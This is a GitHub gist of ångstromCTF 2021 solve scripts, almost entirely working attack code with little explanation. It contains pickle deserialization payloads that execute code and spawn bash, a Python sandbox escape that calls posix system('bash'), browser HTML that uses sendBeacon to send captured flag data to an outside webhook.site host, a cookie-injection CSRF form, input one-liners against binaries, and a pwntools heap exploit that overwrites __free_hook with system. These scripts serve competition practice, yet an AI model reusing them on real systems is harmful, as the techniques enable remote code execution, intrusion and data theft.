Skip to content

Instantly share code, notes, and snippets.

@kmh11

kmh11/archaic.sh Secret

Last active April 7, 2021 23:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kmh11/414313f2d4d741417e28f3877fb08edb to your computer and use it in GitHub Desktop.
Save kmh11/414313f2d4d741417e28f3877fb08edb to your computer and use it in GitHub Desktop.
ångstromCTF 2021 solve scripts
gunzip -c /problems/2021/archaic/archive.tar.gz
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly
import struct
import base64
payload = GLOBAL+b"db\n"+b"User\n"+BINPUT+b"\x00"+MARK+BINGET+b"\x00"+NONE+MARK+SHORT_BINUNICODE+b"\x08password"+NEWTRUE+SHORT_BINUNICODE+b"\x08username"+NONE+DICT+TUPLE2+BUILD+OBJ+BINGET+b"\x00"+NONE+MARK+SHORT_BINUNICODE+b"\x05admin"+NEWTRUE+SHORT_BINUNICODE+b"\x0f__getinitargs__"+NEWTRUE+DICT+TUPLE2+BUILD+POP+STOP
print(base64.b64encode(PROTO+b'\x04'+FRAME+struct.pack('<Q', len(payload))+payload).decode("ascii"))
from PIL import Image
with Image.open("fish.png") as i:
p = i.load()
for w in range(i.width):
for h in range(i.height):
p[w, h] = (p[w, h][0], p[w, h][1], p[w, h][2], 255)
i.save('recovered.png')
import requests, base64, pickle
class pwn:
def __reduce__(self): return (eval, ("[flag]",))
print(requests.get("https://jar.2021.chall.actf.co", cookies={"contents": base64.b64encode(pickle.dumps(pwn())).decode()}).text)
<script>
function load (data) {
navigator.sendBeacon('https://webhook.site/6c038598-9475-4805-8bbb-36ffef233c88', data.items[0])
}
if (!localStorage.done) {
w = window.open('jason_2.html')
setInterval(function () {
try { w.location.href }
catch (e) { localStorage.done = true; location.reload() }
}, 10)
}
</script>
<script referrerpolicy="no-referrer" src="https://jason.2021.chall.actf.co/flags?callback=load"></script>
<form action="https://jason.2021.chall.actf.co/passcode" method="post" id="form">
<input type="hidden" name="passcode" value="; SameSite=None; Secure">
</form>
<script>form.submit()</script>
(python2 -c "print '1\nAAAA\x39\x05\nyes\n\n\n2'" && cat -) | ./raiid_shadow_legends
bash -c 'while :; do python2 -c "print \"\x00\"" | ./login; done' | grep actf
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly
import struct
def solve():
__import__('os').system('/bin/bash -u')
c = solve.__code__
constructor = (c.co_argcount, c.co_posonlyargcount, c.co_kwonlyargcount, c.co_nlocals, c.co_stacksize, c.co_flags, c.co_code, c.co_consts, c.co_names, c.co_varnames, c.co_filename, c.co_name, c.co_firstlineno, c.co_lnotab)
convert = lambda args: b''.join(BININT1+bytes([arg]) if type(arg) is int else SHORT_BINUNICODE+bytes([len(arg)])+arg.encode('ascii') if type(arg) is str else BINBYTES+struct.pack('<i', len(arg))+arg if type(arg) is bytes else MARK+convert(arg)+TUPLE if type(arg) is tuple else NONE for arg in args)
payload = GLOBAL+b"__main__\n"+b"SnakeWindow\n"+NONE+MARK+SHORT_BINUNICODE+b"\x08__code__"+MARK+GLOBAL+b"__main__\n"+b"SnakeSave.__class__\n"+GLOBAL+b"__main__\n"+b"SnakeWindow.__code__\n"+TUPLE1+REDUCE+convert(constructor)+OBJ+DICT+TUPLE2+BUILD+EMPTY_TUPLE+REDUCE+STOP
import base64
print(base64.b64encode(PROTO+b'\x04'+FRAME+struct.pack('<Q', len(payload))+payload).decode("ascii"))
args = 'posix', ''
constants.p1 = constants.math._︳loader_︳._︳class_︳, args
constants.math._︳loader_︳._︳class_︳._︳reduce_︳ = lambda _: constants.p1
args = constants.math._︳loader_︳, 'posix'
constants.p2 = constants.math._︳loader_︳._︳class_︳.load_module, args
constants.math._︳spec_︳._︳class_︳._︳reduce_︳ = lambda _: constants.p2
args = 'system',
constants.p3 = constants.math._︳spec_︳._︳getattribute_︳, args
constants._︳loader_︳._︳class_︳._︳reduce_︳ = lambda _: constants.p3
args = 'bash',
constants._︳loader_︳._︳class_︳._︳call_︳ = lambda: 1
constants.p4 = constants._︳loader_︳, args
constants.fractions.Fraction._︳reduce_︳ = lambda _: constants.p4
shell = constants.half
from pwn import *
p = process("./uql")
libc = ELF("/usr/lib/libc-2.33.so")
gdb.attach(p)
p.sendlineafter("> ", f"insert A insert {'B'*0x20} remove {'B'*0x20}")
p.sendlineafter("> ", "remove A display everything")
heap = u64(p.recv(8)) - 0x13570
print(hex(heap))
p.sendlineafter("> ", b"insert "+(b"/bin/bash&&"+b"A"*78+p64(heap)+p64(0x21000)+p64(0x21000)+p64(0)).ljust(0x88, b"A")+b" insert B")
p.sendlineafter("> ", f"insert {'D'*0x300} remove {'D'*0x300} display everything")
dump = p.recvuntil("\nInvalid query")[:-len("\nInvalid query")]
leak = u64(dump[dump.index(b'\x7f\x00\x00\x90')-5:dump.index(b'\x7f\x00\x00\x90')+3]) - 0x1c2090
print(hex(leak))
write = (b'E'*297+p64(leak+libc.symbols['__free_hook'])+p64(8)+p64(8)+p64(0)).ljust(0x300, b'E')
p.sendlineafter("> ", b"insert "+write+b" remove "+write)
p.sendlineafter("> ", b"insert C insert D insert E")
p.sendlineafter("> ", b"remove E "+(b" ".join(b"modify \x00\x00\x00\x00\x00\x00\x00\x00 to be "+bytes([c])+b" at "+str(i).encode() for i, c in enumerate(p64(leak+libc.symbols['system']+4)))))
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment